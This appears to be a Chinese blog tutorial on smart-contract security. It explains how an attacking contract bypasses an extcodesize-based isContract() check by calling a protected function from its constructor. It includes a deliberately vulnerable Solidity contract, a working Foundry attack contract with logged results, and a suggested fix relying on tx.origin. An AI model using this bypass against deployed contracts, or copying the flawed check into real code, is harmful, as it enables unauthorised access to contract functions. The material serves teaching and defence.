区块链安全常见的攻击分析——绕过 isContract() 验证 (Bypass isContract() validation)【10】

区块链安全常见的攻击分析——绕过 isContract 验证 Bypass isContract validation


重点:当一个合约正在部署时,它的代码尚未完全存储在链上。在constructor构造函数初始化期间size是0。攻击者可利用这一特性绕过检测机制并发起攻击。

1.1 漏洞分析

  1. 通过extcodesize来判断是否为合约,,由于合约在constructor构造函数初始化期间其代码尚未写入区块链size是0,攻击者可利用这一特性绕过检测机制并发起攻击。
    在这里插入图片描述
  2. 下面的代码可以看出 constructor构造函数初始化期间size是0,合约构造完成后size=335
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称:绕过 isContract() 验证

描述:
攻击者只需要在智能合约的构造函数中编写代码,
即可绕过对其是否为智能合约的检测机制。

参考:
https://www.infuy.com/blog/bypass-contract-size-limitations-in-solidity-risks-and-prevention/ 
*/

contract Target {
    // 判断account是否为合约地址
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

1.3 攻击分析

  • 在攻击合约的构造函数中调用protected()函数,因为这期间size为0
    在这里插入图片描述
  • 结果输出
    在这里插入图片描述
  • 解决方法
    代码改成
function isContract(address account) public view returns (bool) {
       require(tx.origin == msg.sender);
       return account.code.length > 0;
   }

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Bypasscontract.sol";

contract ContractTest is Test {
    Target BypasscontractContract;
    AttackContract attackContract;

    function setUp() public {
        BypasscontractContract = new Target();
    }

    function testBypasscontract() public {
        attackContract = new AttackContract(address(BypasscontractContract));
        attackContract.getSize();
    }
}

contract AttackContract {

    constructor(address targetAddress) {
        uint256 size;
        address addr = address(this);
        assembly {
            size := extcodesize(addr) // 获取地址的代码大小
        }
        console.log("11-AttackContract size:", size);
        bool iscontract = Target(targetAddress).isContract(address(this));
        console.log("AttackContract isContract:", iscontract);
        bool isSuccess;
        isSuccess = Target(targetAddress).pwned();
        console.log("pwned isSuccess:", isSuccess);
        Target(targetAddress).protected();
        console.log("after protected()...");
        isSuccess = Target(targetAddress).pwned();
        console.log("pwned isSuccess:", isSuccess);
    }

    function getSize() public view {
        uint256 size;
        address addr = address(this);
        assembly {
            size := extcodesize(addr) // 获取地址的代码大小
        }
        console.log("22-AttackContract size:", size);
    }
}

1.5 知识点

extcodesize(a) :获取地址 a 的代码大小

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值